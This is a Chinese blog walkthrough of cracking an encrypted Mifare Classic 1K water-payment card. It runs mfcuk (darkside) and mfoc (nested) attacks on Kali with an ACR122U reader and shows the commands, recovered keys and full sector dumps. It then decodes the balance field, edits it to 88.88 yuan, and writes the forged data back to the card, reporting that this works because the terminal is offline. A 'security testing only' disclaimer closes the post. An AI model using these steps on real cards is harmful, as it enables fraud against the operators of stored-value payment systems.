0x00 前言

为什么折腾这个？前段时间逛博客偶然看到一篇介绍水卡破解的文章，正好手里有几张卡片，遂决定一试。一番谷歌百度之后发现网络上有很多介绍M1卡破解的文章，其中全加密M1卡破解大多是基于Proxmark3平台，但Proxmark3硬件成本400+，学生党表示很贵。本文尝试基于ACR122平台（成本100+）破解全加密M1卡。

0x01 关于Mifare Classic 1K卡

Mifare Classic 1K卡简称M1卡，属于非接触式射频卡。而与射频卡进行通讯的技术，叫做近场通讯技术，简称NFC。

如图所示，该卡共有1KB储存空间，分为16个扇区，每个扇区又分为4个段，每个段有16个字节。每个扇区分为A，B两个部分，分别有密钥来控制数据的访问，每个扇区最后一个段存放KEYA、控制位和KEYB。
m1卡结构

卡片的第一扇区第一段，储存了一个全球唯一的UID，其他还有UID效验位和厂商信息，按规范生产的卡片，该段在出厂时会被写入保护，只能读取不能写入。当然另外还有一种特殊的UID卡，UID能被修改。第一段结构

0x02 准备工作

先判断一下手里一卡通和水卡的类型，使用Mifare Classic Tool软件读取卡片信息，手机需支持NFC功能。

左边的一卡通型号为JCOP41 全名Java Card Open Platform，由IBM苏黎世研究实验室开发，安全性很高，这里不做讨论。右边的水卡可以看到型号为Mifare Classic 1K，由恩智浦半导体公司（NXP）开发。

接下来登场的是我们的硬件平台，也就是读卡器：龙杰ACR122U-A9，如下图。使用时windows平台需安装驱动和验证漏洞攻击软件。另外如有开发需求，还需安装SDK。
acr122

0x03 windows平台尝试

电脑连接ACR122U，打开验证漏洞破解软件尝试使用默认密码破解，如破解成功将会在软件所在目录生产.dump文件。如几秒后出现下图，说明卡片为全加密，即所有扇区的加密密码都不是默认密码。 win

nested authentication 验证漏洞原理简介

因为攻击原理决定这种方法只适合特定情况下的破解。这种攻击是在已知16个扇区任意一个扇区的密钥之后，可以获得其他未知扇区的密钥。前面说过16个扇区是独立，那为什么通过某个扇区还能获取到其他扇区的密钥？这与卡片和读卡器之间的交互通讯方式有关。

第一次验证时，读卡器首先验证第0扇区密钥，卡片给读卡器发送一个明文随机数n1。读卡器内部用加密算法加密n1，同时产生一个密文随机数n2发送给卡片，卡片用自己的密钥解密n2，如果解密出来的数和之前发送给读卡器的随机数n1相同，则通过验证，之后的通讯都会加密传输。

第一次的传输为明文，之后的都为加密传输。并且在验证的过程中，是卡片先主动发送随机数给读卡器。如果读卡器用错误的密码加密发送给卡片，卡片解密错误，则验证中断，也就没有之后的加密传输。所以我们至少需要知道一个扇区的密钥，利用这个扇区验证。之后其他扇区的通讯密文包含了这个扇区的密钥信息，再通过验证漏洞软件解出密文中的密钥，进而得到所有扇区的密钥。

darkside 攻击原理简介

如果卡片不存在默认密钥，则验证漏洞攻击行不通。前面说到破解的关键是让卡片发送加密数据，再通过算法解出密钥，所以需要欺骗卡片发出加密数据。经过研究人员大量的测试后发现卡片算法中存在漏洞，当读卡器发出的密文中某8bit数据正确时，读卡器就会回复一个4bit的密文，而这个密文就包含了密钥的信息，再通过解密算法即可解出密钥。如果一个扇区的密钥被解出，就可以用nested authentication 验证漏洞破解出其他扇区的密钥。

mfcuk就是基于darkside原理攻击全加密卡的程序。mfcuk是在linux平台下的程序，windows平台下没有原生的支持，有的都是个人编译的exe软件。但是在windows7_64位系统上使用兼容性较差。

0x04 kali平台尝试

Kali Linux是基于Debian的Linux发行版，设计用于数字取证和渗透测试和安全攻防，包含很多安全测试工具。其中就有NFC相关的nfc-mfoc、nfc-mfcuk和nfc-mfclassic工具。 kali

如果kali默认程序里面没有mfcuk，可自行编译安装，mfcuk：github地址；另外可能还需要libnfc：github地址。也可脚本一键安装，方便快捷。
脚本地址：https://pan.baidu.com/s/1iQ6u9yiQwfiho1gYwW9mlg 密码：uddn

在下载的文件目录下执行：

sh 2183000857.txt

按提示操作即可。脚本来自这里。

测试一下是否可用。

root@kali:~# nfc-list
nfc-list uses libnfc 1.7.0-rc7
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): e1  cd  82  61  
      SAK (SEL_RES): 08

包含读卡器型号和卡片UID等信息。

尝试使用mfcuk进行darkside破解。

root@kali:~# mfcuk -C -R 0 -s 250 -S 250

mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com

WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'

INFO: Connected to NFC reader: ACS / ACR122U PICC Interface


VERIFY: 
	Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
	Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER:  0

温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  0080bb043614    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  36519da2c2c6    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  1c5d13000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  c5af46000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  c5af46000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  36519d000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;
段错误

mfcuk -C -R 0 -s 250 -S 250命令表示尝试恢复第0扇区的密钥，250表示延时250ms。密钥fedcba000026共出现9次，这就是其中一个扇区的密钥。知道密钥就可使用mfoc程序进行验证漏洞攻击。
注：上面出现的错误和警告不影响最终结果。

密钥使用方法：

root@kali:~# mfoc -k fedcba000026 -O mycard.mfd
The custom key 0xfedcba000026 has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
* UID size: single
* bit frame anticollision supported
       UID (NFCID1): 92  cc  1d  04  
      SAK (SEL_RES): 08  
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: fedcba000026] -> [xxxxxxxxxxxxxxxx]
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]

Sector 00 -  FOUND_KEY   [A]  Sector 00 -  FOUND_KEY   [B]  
Sector 01 -  FOUND_KEY   [A]  Sector 01 -  FOUND_KEY   [B]  
Sector 02 -  FOUND_KEY   [A]  Sector 02 -  FOUND_KEY   [B]  
Sector 03 -  FOUND_KEY   [A]  Sector 03 -  FOUND_KEY   [B]  
Sector 04 -  FOUND_KEY   [A]  Sector 04 -  FOUND_KEY   [B]  
Sector 05 -  FOUND_KEY   [A]  Sector 05 -  FOUND_KEY   [B]  
Sector 06 -  FOUND_KEY   [A]  Sector 06 -  FOUND_KEY   [B]  
Sector 07 -  FOUND_KEY   [A]  Sector 07 -  FOUND_KEY   [B]  
Sector 08 -  FOUND_KEY   [A]  Sector 08 -  FOUND_KEY   [B]  
Sector 09 -  FOUND_KEY   [A]  Sector 09 -  FOUND_KEY   [B]  
Sector 10 -  FOUND_KEY   [A]  Sector 10 -  FOUND_KEY   [B]  
Sector 11 -  FOUND_KEY   [A]  Sector 11 -  FOUND_KEY   [B]  
Sector 12 -  FOUND_KEY   [A]  Sector 12 -  FOUND_KEY   [B]  
Sector 13 -  FOUND_KEY   [A]  Sector 13 -  FOUND_KEY   [B]  
Sector 14 -  FOUND_KEY   [A]  Sector 14 -  FOUND_KEY   [B]  
Sector 15 -  FOUND_KEY   [A]  Sector 15 -  FOUND_KEY   [B]  

We have all sectors encrypted with the default keys..

Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 62, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 61, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 60, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 59, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 58, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 57, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 56, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 55, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 54, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 53, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 52, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 51, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 50, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 49, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 48, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 47, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 46, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 45, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 44, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 43, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 42, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 41, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 40, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 39, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 38, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 37, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 36, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 35, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 34, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 33, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 32, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 31, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 30, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 29, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 28, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 27, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 26, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 25, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 24, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 23, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 22, type A, key fedcba000026 :bd  36  54  00  42  c9  ab  ff  ff  ff  8b  67  12  db  55  aa  
Block 21, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 20, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 19, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 18, type A, key fedcba000026 :f6  0c  00  00  09  f3  ff  ff  f6  0c  00  00  12  ed  12  ed  
Block 17, type A, key fedcba000026 :f6  0c  00  00  09  f3  ff  ff  f6  0c  00  00  11  ee  11  ee  
Block 16, type A, key fedcba000026 :04  a2  08  00  29  36  00  00  00  00  00  00  00  00  1d  66  
Block 15, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 14, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 13, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 12, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 11, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 10, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 09, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 08, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 07, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 06, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 05, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 04, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 03, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 02, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 01, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 00, type A, key fedcba000026 :92  cc  1d  04  47  08  04  00  01  b7  f9  d2  b1  43  b2  1d

mfoc -k fedcba000026 -O mycard.mfd -k表示key——即fedcba000026，-O(大写的o)表示output，mycard.mfd表示从卡片中下载数据后储存的文件。
当然，也可使用mfoc程序的mfoc -O test.mfd命令直接进行默认密钥的验证漏洞破解，就是前面在windows平台第一次尝试的破解方法。从上面输出结果可以看到所有扇区的密钥已被解出，并且卡片中存储的数据也被下载并保存为mycard.mfd。

0x05 数据分析及修改

这才是整个过程最有趣的地方，因为每种卡片的数据算法不一样，网络上的数据分析过程只能提供参考，不能直接得出数据的算法。只能通过多次导出数据，对比变化的数据猜测寻找出具体的算法。使用命令hexdump mycard.mfd查看刚才下载的mycard.mfd。
数据如下：

030e到02d2的变化，030e为782的十六进制，也就是金额7.82元；02d2是722的十六进制，对应金额7.22元。后面的fcf1和fd2d是030e和02d2的取反值。但下面ac4d到afe3的变化不知道是怎么算出来的。我猜测过很多运算，但最后还是没算出来，这点比较遗憾，不过测试发现，它不影响最终更改数据并正常使用，直接更改金额数据就行。它的大致变化规律是一直增大，猜测和时间有关。

修改数据我使用的是自带的vim工具，工具使用命令自行百度。命令vi mycard_change.mfd,把mycard.mfd复制一份命名为mycard_change.mfd修改用。
编辑mfd
出来的乱码是二进制格式显示，再次输入:%!xxd，%xxd是以十六进制显示当前所编辑文件，回车即可正常显示数据。

注意：这里显示的数据是倒序的，即前面的030e会显示为0e03。所以修改时也应倒序，我们把金额修改为8888，十六进制为22b8，倒序为b822，再修改对应的取反值。退出编辑时先输入:%!xxd -r,如下图，作用是将十六进制还原为二进制。

退出后在二进制模式才能保存编辑，输入:wq保存并退出Vim。
保存mfd
为防止不小心输入错误的命令损坏数据，保存后再用hexdump mycard.mfd命令查看修改后的数据，检查数据是否正确。别问我为什么，曾经没检查导致卡片报废。

最后一步，使用nfc-mfclassic为卡片写入修改后的数据。命令nfc-mfclassic w a mycard_change.mfd mycard.mfd，w表示write；a表示使用key a验证；mycard_change.mfd为更改后的文件；mycard.mfd为访问卡片时验证密钥的文件，只要是同一张卡片下载的mfd文件就行。

root@kali:~# nfc-mfclassic w a mycard_change.mfd mycard.mfd
NFC reader: ACS / ACR122U PICC Interface opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): 92  cc  1d  04  
      SAK (SEL_RES): 08  
Guessing size: seems to be a 1024-byte card
Writing 64 blocks |...............................................................|
Done, 63 of 64 blocks written.
root@kali:~#

测试一下

test

0x06 后记

本次验证工作用时一个星期左右，主要的时间花在平台环境搭建和数据分析这块。没想到最后根本不用分析都行，也是颇感意外。修改数据后能使用的关键是卡片的数据和扣费机器处于离线状态，机器不能对比卡片的数据。像一卡通就是数据联网的卡片，并且本身也是安全级别非常高的CPU卡，任何消费和充值联网服务器都有记录。

注：本文仅作为安全测试验证用，如转载请注明出处。